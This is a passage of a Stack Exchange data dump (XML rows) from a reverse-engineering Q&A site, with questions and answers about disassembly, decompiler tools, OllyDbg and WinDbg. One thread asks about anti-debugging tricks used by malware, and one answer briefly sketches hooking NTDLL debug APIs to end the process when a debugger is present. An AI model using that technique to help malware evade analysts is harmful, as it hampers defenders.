jump instruction points to, which in your case is &lt;code&gt;0x80ade26&lt;/code&gt; and&lt;code&gt;80ade44&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &lt;strong&gt;Edit&lt;/strong&gt; menu of IDA again and select &lt;strong&gt;Code&lt;/strong&gt; this time&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note that this anti-static analysis technique is applied twice in your code. So you need to apply steps 2-5 twice.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; However, in your &lt;code&gt;objdump&lt;/code&gt; output there is no disassembly desynchronization as Peter Ferrie pointed out in the comments below. The jump into instruction is a means of improving performance. However, I leave this answer as a hint for anyone who stumbles upon your question and whose disassembly is actually suffering from desynchronization.&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-07-09T08:50:17.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4801" PostTypeId="1" CreationDate="2014-07-02T14:57:52.873" Score="4" ViewCount="1678" Body="&lt;p&gt;sorry about the messy title! Basically here's what I want to know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might sound a bit silly but, if you have a disassembled instruction say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jz 0x8048e1a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you also have the source code, how do you go about figuring out what this instruction relates to in the source code? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should probably mention that I am using Intel's PIN as the application that spits out these disassembled instructions, so I know which function/routine these instructions belong to, I just want to be a bit more precise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help/hints. &lt;/p&gt;&#xA;" OwnerUserId="6976" OwnerDisplayName="Achilles" LastActivityDate="2014-07-08T09:48:10.487" Title="compiled binary - what do disassembled instructions correspond to in C/C++ source (Linux GCC)" Tags="|c++|c|disassembly|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4802" PostTypeId="2" ParentId="4801" CreationDate="2014-07-02T15:32:47.427" Score="3" Body="&lt;p&gt;If you have the source code (and the means to compile it), you shouldn't be using a decompiler. The compiler is &lt;em&gt;already&lt;/em&gt; producing a mapping between the original source code and the assembly instructions; that's what debugging information &lt;em&gt;is&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to see it in action is to start the program in the debugger, set a breakpoint, and when that breakpoint hits, switch to the disassembly view. That'll show you the instructions, as well as the source lines which led to them. (If the compiler had optimizations enabled there won't always be a good correspondence between the two, but you can at least see the rudiments.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also tell your compiler to stop after the code generation phase, and output an assembly file instead of object code. Depending on the compiler, you may also be able to get it to annotate the assembly with the source lines; this'll produce similar information to what you can see in the debugger's disassembly view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The details of how you do all that depend entirely on your IDE. Read its documentation.&lt;/p&gt;&#xA;" OwnerDisplayName="Sneftel" LastActivityDate="2014-07-02T15:32:47.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4803" PostTypeId="2" ParentId="4801" CreationDate="2014-07-02T15:44:28.747" Score="3" Body="&lt;p&gt;If you're using the GCC toolchain, you can use objdump to disassemble and mix with source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -S executable &amp;gt; disasm.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the objdump man pages for more options and information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a different toolchain, see the docs for that toolchain.&lt;/p&gt;&#xA;" OwnerDisplayName="Brian Sidebotham" LastActivityDate="2014-07-02T15:44:28.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4804" PostTypeId="2" ParentId="4801" CreationDate="2014-07-02T16:01:08.773" Score="3" Body="&lt;h2&gt;For that &lt;em&gt;specific&lt;/em&gt; instruction:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jz 0x8048e1a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it's a conditional jump, so search your function for an &lt;code&gt;if&lt;/code&gt;, &lt;code&gt;for&lt;/code&gt;, &lt;code&gt;do&lt;/code&gt;/&lt;code&gt;while&lt;/code&gt; or ternary expression (&lt;code&gt;?:&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;it jumps if the zero flag is set, but you'll need to check the previous instruction(s) to see what sets that flag. You may be able to line that logic up with one of the branch conditions you identified above&lt;/li&gt;&#xA;&lt;li&gt;it jumps to an address - where is it? What does the code at that address do? You may be able to match that up with the contents of a conditional branch.&lt;/li&gt;&#xA;&lt;li&gt;what happens if it &lt;em&gt;doesn't&lt;/em&gt; branch? You may be able to line &lt;em&gt;that&lt;/em&gt; up with a conditional branch (or the implicit jump of a branch not taken)&lt;/li&gt;&#xA;&lt;li&gt;note that the compiler/optimizer are allowed to reverse the sense of comparisons and branches, for example to jump to a nested block, and then back&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;In general:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if you have the source, compile to assembler and include all the source and line number annotations your compiler supports&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it may help to do this once with optimization disabled, so you get a fairly clean translation, and then compare this to the optimized version. The intermediate step can help clarify what your optimizer changed.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;if you have the source but can't compile (or don't know the compile flags used), include all the source etc. annotations your disassembler supports instead&lt;/li&gt;&#xA;&lt;li&gt;look for distinctive points in the code:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;function entry and exit are easy to spot&lt;/li&gt;&#xA;&lt;li&gt;calls to out-of-line (especially libc or other library) functions should show up cleanly, and limit the optimizer's ability to reorder at least the function's arguments, and logic dependent on its result&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;instruction-step through the code in a debugger, watching &lt;em&gt;both&lt;/em&gt; the source line number and the instruction. The line number may jump around crazily if the optimizer has been busy, but it'll give you an idea how the two relate&lt;/li&gt;&#xA;&lt;li&gt;just &lt;em&gt;read&lt;/em&gt; the source and understand its logic and control flow. Then just &lt;em&gt;read&lt;/em&gt; the assembly and understand &lt;em&gt;it's&lt;/em&gt; logic and control flow. Then think about how they match up.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7015" OwnerDisplayName="Useless" LastActivityDate="2014-07-02T16:29:27.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4806" PostTypeId="2" ParentId="1817" CreationDate="2014-07-08T12:47:01.483" Score="27" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/joelpx/reverse&quot; rel=&quot;noreferrer&quot;&gt;Reverse&lt;/a&gt; - Reverse engineering tool for x86/ARM/MIPS. Generates indented pseudo-C with colored syntax code.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PndQh.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PndQh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.decompilation.info/&quot; rel=&quot;noreferrer&quot;&gt;SmartDec&lt;/a&gt; (aka &lt;a href=&quot;https://derevenets.com/&quot; rel=&quot;noreferrer&quot;&gt;Snowman&lt;/a&gt;) is a native code to C/C++ &lt;strong&gt;decompiler&lt;/strong&gt;. Supports PE and ELF (both 32 and 64bit) also has plugin modules for IDA (6.1, 6.4, 6.5). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ubvGP.png&quot; alt=&quot;Decompiler example.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently supports Intel x86 and x86-x64 architectures. C++ reconstruction supports the 32-bit ABI used by MSVC compiler under Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PrGgm.png&quot; alt=&quot;Structures.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C reconstruction is generic and can be used on a code produced by virtually any compiler for x86 and x86-x64 architectures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/yegord/snowman&quot; rel=&quot;noreferrer&quot;&gt;Github repo can be found here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2015-12-08T06:15:21.527" LastActivityDate="2015-12-08T06:15:21.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4807" PostTypeId="2" ParentId="4771" CreationDate="2014-07-08T15:35:10.367" Score="2" Body="&lt;p&gt;When you say step over, I assume you actually want to not execute that function. This can be done by changing the value of EIP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In olly you can actually highlight the line you want to skip to, right click, and select &lt;code&gt;New origin here&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2014-07-08T15:35:10.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4808" PostTypeId="1" CreationDate="2014-07-08T18:04:57.233" Score="-3" ViewCount="2782" Body="&lt;p&gt;Is there any anti-debugger tricks used by malware other than interrupt &lt;code&gt;INT 0x2D&lt;/code&gt; ? And, how do they work ? Working examples would be really nice !&lt;/p&gt;&#xA;" OwnerUserId="7017" LastEditorUserId="4437" LastEditDate="2014-08-08T11:55:01.163" LastActivityDate="2014-08-08T11:55:01.163" Title="Anti-debug techniques for MS-Windows?" Tags="|windows|malware|debuggers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4809" PostTypeId="2" ParentId="1594" CreationDate="2014-07-08T18:24:58.013" Score="5" Body="&lt;p&gt;&lt;code&gt;dumpdecrypted&lt;/code&gt; can automate the decryption of the iOS binary. Additionally, there is a tool called &lt;a href=&quot;http://github.com/S3Jensen/iRET&quot; rel=&quot;noreferrer&quot;&gt;iRET&lt;/a&gt; that you can use that automates alot of the analysis and reversing for you. &lt;/p&gt;&#xA;" OwnerUserId="7018" LastEditorUserId="53" LastEditDate="2014-07-08T20:27:48.253" LastActivityDate="2014-07-08T20:27:48.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4810" PostTypeId="2" ParentId="4808" CreationDate="2014-07-08T18:29:13.897" Score="5" Body="&lt;p&gt;@peter-ferrie compiled a very good list of anti-debugging tricks at &lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot;&gt;http://pferrie.host22.com/papers/antidebug.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server for the link above seems to be down right now, but there's a copy at &lt;a href=&quot;https://tuts4you.com/request.php?3260&quot;&gt;https://tuts4you.com/request.php?3260&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-07-08T18:29:13.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4811" PostTypeId="2" ParentId="4808" CreationDate="2014-07-08T21:07:32.900" Score="2" Body="&lt;p&gt;Here is a good starting point on Windows anti-reverse engineering covers anti-debugging and much more:&#xA;&lt;a href=&quot;http://www.codeproject.com/Articles/30815/An-Anti-Reverse-Engineering-Guide&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/30815/An-Anti-Reverse-Engineering-Guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there are so many useful websites out there I'm going to link you to them instead of just telling you about tricks and how they work. If you do have any queries on how certain tricks work on anti-debugging feel free to ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful websites / Articles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openrce.org/reference_library/anti_reversing&quot; rel=&quot;nofollow&quot;&gt;http://www.openrce.org/reference_library/anti_reversing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/knowledge/index.php/Category%3aAnti_Reversing_Techniques&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/collaborative/knowledge/index.php/Category:Anti_Reversing_Techniques&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.symantec.com/connect/articles/windows-anti-debug-reference&quot; rel=&quot;nofollow&quot;&gt;http://www.symantec.com/connect/articles/windows-anti-debug-reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That should be more than enough to get you going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could even go outside of the box and do API hooking on debugging APIs generally prefix with Dbg and located in EAT of NTDLL. There is plenty of APIs you could use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Higher level API will be easy to bypass since they are generic across windows versions. For example &lt;code&gt;IsDebuggerPresent&lt;/code&gt; and &lt;code&gt;CheckRemoteDebuggerPresent&lt;/code&gt; are useless since everyone knows how easy it is to bypass in varies ways such as hooking and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is useful website for all the internal APIs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://undocumented.ntinternals.net/&quot; rel=&quot;nofollow&quot;&gt;http://undocumented.ntinternals.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://doxygen.reactos.org&quot; rel=&quot;nofollow&quot;&gt;http://doxygen.reactos.org&lt;/a&gt; (Most of the APIs are accurate replicates of how Windows operates but not always the case)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, when you hook the API let's pretend you're doing memory detour just set the trampoline to &lt;code&gt;LdrShutdownProcess&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4413" LastEditorUserId="4413" LastEditDate="2014-07-09T11:27:10.657" LastActivityDate="2014-07-09T11:27:10.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4812" PostTypeId="1" AcceptedAnswerId="4813" CreationDate="2014-07-09T01:59:44.823" Score="4" ViewCount="1589" Body="&lt;p&gt;I want to set a breakpoint and suddenly the following message appears:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You want to place breakpoint outside the code section. INT3 breakpoint set on data will  not execute and may have disastrous influence on the debugged program. Do you really want to set breakpoint here?&lt;/p&gt;&#xA;&lt;p&gt;Note: you can permanently disable this warning in Options|Security.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Without knowing what that is, I would guess that is not allowed to set the breakpoint.&#xA;So my question would be:&lt;/p&gt;&#xA;&lt;p&gt;How can I bypass the annoying message? Or better: what must I do to not see this?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-05-16T17:49:45.230" Title="Suspicious breakpoint message in ollydbg" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4813" PostTypeId="2" ParentId="4812" CreationDate="2014-07-09T03:20:19.563" Score="6" Body="&lt;p&gt;PE files have several sections like &lt;code&gt;.code&lt;/code&gt; , &lt;code&gt;.data&lt;/code&gt;, &lt;code&gt;.bss&lt;/code&gt; etc. Each of the sections have a special purpose, such as the &lt;code&gt;.code&lt;/code&gt; section &lt;em&gt;usually&lt;/em&gt; contains the programs code i.e. the instructions, the &lt;code&gt;.data&lt;/code&gt; sections houses the initialized variables etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above rule is merely a convention followed by compilers. In a packed/obfuscated program, the convention may not always hold true. You can have instructions in data segment and vice-versa. This is done for various reasons like thwarting analysis ,disassembly etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in Ollydbg you try to set a &lt;code&gt;INT3&lt;/code&gt; breakpoint on an instruction that happens to be in a section marked for data, Ollydbg would complain and that is the message you see. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is suppose that the instruction you set a breakpoint on is actually data. In this case, when the program reads in the value at the address it would read &lt;code&gt;0xCC&lt;/code&gt; (INT3 -&gt; 0xCC) instead of the actual value. That can crash the program. Further since this is a read operation, the breakpoint will never be hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want, you may disable the message in Ollydbg options, however doing that is not always recommended. Instead if you are sure that it is an instruction, you may ignore the warning and set the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way is instead of using a &lt;code&gt;INT3&lt;/code&gt; breakpoint, set a Hardware breakpoint (HWBP) on execution at the aforesaid address. This way the program would not crash, even if the hwbp was set on data. HWBP's are enforced my the CPU and does not modify the program in any way unlike &lt;code&gt;INT3&lt;/code&gt; breakpoints&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-07-09T03:30:27.743" LastActivityDate="2014-07-09T03:30:27.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4814" PostTypeId="2" ParentId="1817" CreationDate="2014-07-09T05:12:22.017" Score="55" Body="&lt;p&gt;Some other disassemblers / decompilers&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/WDASM.shtml&quot; rel=&quot;noreferrer&quot;&gt;W32Dasm&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;W32DASM was an excellent 16/32 bit disassembler for Windows, it seems it is no longer developed. the latest version available is from 2003&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;noreferrer&quot;&gt;Capstone&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;Capstone is a lightweight multi-platform, multi-architecture disassembly framework.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.caesum.com/download.php&quot; rel=&quot;noreferrer&quot;&gt;BORG Disassembler&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;BORG is an excellent Win32 Disassembler with GUI.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/DSM-Studio.shtml&quot; rel=&quot;noreferrer&quot;&gt;DSM Studio Disassembler&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;DSM Studio is an easy-to-use yet comprehensive application that can aid you in the disassembly and inspection of executables built for the Intel x86 architecture.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/Decompiler.shtml&quot; rel=&quot;noreferrer&quot;&gt;Decompiler&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;Decompiler is an easy to use and simply application designed to read program binaries and decompile executable or DLL files.&#xA;  The application is designed to decompile executables for any processor architecture and not be tied to a particular instruction set. &#xA;  Although currently only a x86 front end is implemented, there is nothing preventing you from implementing a 68K, Sparc, or VAX front end if you need one.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://sourceforge.net/projects/lida/&quot; rel=&quot;noreferrer&quot;&gt;Lida - linux interactive disassembler&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;lida is a fast feature packed interactive ELF disassembler / code-/cryptoanalyzer based on bastards libdisasm&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pespin.com/&quot; rel=&quot;noreferrer&quot;&gt;BugDbg x64 v0.7.5&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;BugDbg x64 is a user-land debugger designed to debug native 64-bit applications.&#xA;  BugDbg is released as Freeware.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.ragestorm.net/distorm/&quot; rel=&quot;noreferrer&quot;&gt;distorm3&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;A lightweight, Easy-to-Use and Fast Disassembler/Decomposer Library for x86/AMD64&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://udis86.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;Udis86&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;Udis86 is an easy-to-use, minimalistic disassembler library (libudis86) for the x86 class of instruction set architectures. It has a convenient interface for use in the analysis and instrumentation of binary code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.beaengine.org/&quot; rel=&quot;noreferrer&quot;&gt;BeaEngine&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;This project is a package with a multi-platform x86 and x64 disassembler library (Solaris, MAC OSX, AIX, Irix, OS/2, Linux, Windows)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.c4decompiler.com/&quot; rel=&quot;noreferrer&quot;&gt;C4 Decompiler&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;General Machine Code to C Decompiler&lt;/li&gt;&#xA;  &lt;li&gt;Free Windows I64 target edition&lt;/li&gt;&#xA;  &lt;li&gt;Interactive Windows GUI&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.backerstreet.com/rec/rec.htm&quot; rel=&quot;noreferrer&quot;&gt;REC Studio 4 - Reverse Engineering Compiler&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;REC Studio is an interactive decompiler.&#xA;  It reads a Windows, Linux, Mac OS X or raw executable file, and attempts to produce a C-like representation of the code and data used to build the executable file. &#xA;  It has been designed to read files produced for many different targets, and it has been compiled on several host systems.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://retdec.com/&quot; rel=&quot;noreferrer&quot;&gt;Retargetable Decompiler&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;A retargetable decompiler that can be utilized for source code recovery, static malware analysis, etc. The decompiler is supposed to be not bounded to any particular target architecture, operating system, or executable file format.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://code.google.com/p/miasm/&quot; rel=&quot;noreferrer&quot;&gt;miasm&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;Miasm is a a free and open source (GPLv2) reverse engineering framework written in python. Miasm aims at analyzing/modifying/generating binary programs. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://fcml-lib.com/index.html&quot; rel=&quot;noreferrer&quot;&gt;Free Code Manipulation Library&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;This is a general purpose machine code manipulation library for IA-32 and Intel 64 architectures. The library supports UNIX-like systems as well as Windows and is highly portable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://software.intel.com/en-us/articles/xed-x86-encoder-decoder-software-library&quot; rel=&quot;noreferrer&quot;&gt;Intel® X86 Encoder Decoder Software Library&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;Intel® XED is a software library (and associated headers) for encoding and decoding X86 (IA32 and Intel64) instructions. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://angr.io/&quot; rel=&quot;noreferrer&quot;&gt;angr&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;angr is a framework for analyzing binaries. It focuses on both static and dynamic symbolic (&quot;concolic&quot;) analysis, making it applicable to a variety of tasks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.pnfsoftware.com/jeb2/&quot; rel=&quot;noreferrer&quot;&gt;JEB Decompiler&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;JEB is a reverse-engineering platform to perform disassembly, decompilation, debugging, and analysis of code and document files, manually or as part of an analysis pipeline.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/radareorg/cutter&quot; rel=&quot;noreferrer&quot;&gt;Cutter&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;A Qt and C++ GUI for radare2 reverse engineering framework (originally Iaito). Cutter is not aimed at existing radare2 users. It instead focuses on those whose are not yet radare2 users because of the learning curve, because they don't like CLI applications or because of the difficulty/instability of radare2.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/REDasmOrg/REDasm&quot; rel=&quot;noreferrer&quot;&gt;REDasm&lt;/a&gt;&lt;/strong&gt;&#xA;  &lt;br&gt;REDasm is an interactive, multiarchitecture disassembler written in C++ using Qt5 as UI Framework. Its core is light and simple, it can be extended in order to support new instruction sets and file formats.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2019-02-02T07:22:54.613" LastActivityDate="2019-02-02T07:22:54.613" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="4815" PostTypeId="2" ParentId="4792" CreationDate="2014-07-09T08:09:14.677" Score="5" Body="&lt;p&gt;The problem you face is quite common. A .NET application still loads many native DLLs. Most surprising for many people is that the .NET framework itself is native.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can identify .NET DLLs in WinDbg using the &lt;code&gt;lm v&lt;/code&gt; command. In case of a managed DLL it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:008&amp;gt; lmv m MyApp&#xA;start    end        module name&#xA;10310000 10574000   MyApp(deferred)             &#xA;    Image path: C:\...\MyApp.exe&#xA;    Image name: MyApp.exe&#xA;    Has CLR image header, track-debug-data flag not set&#xA;    Timestamp:        Wed May 21 16:34:02 2014 (537CB95A)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the line &lt;code&gt;Has CLR image header&lt;/code&gt; in the output. The .NET framework is also 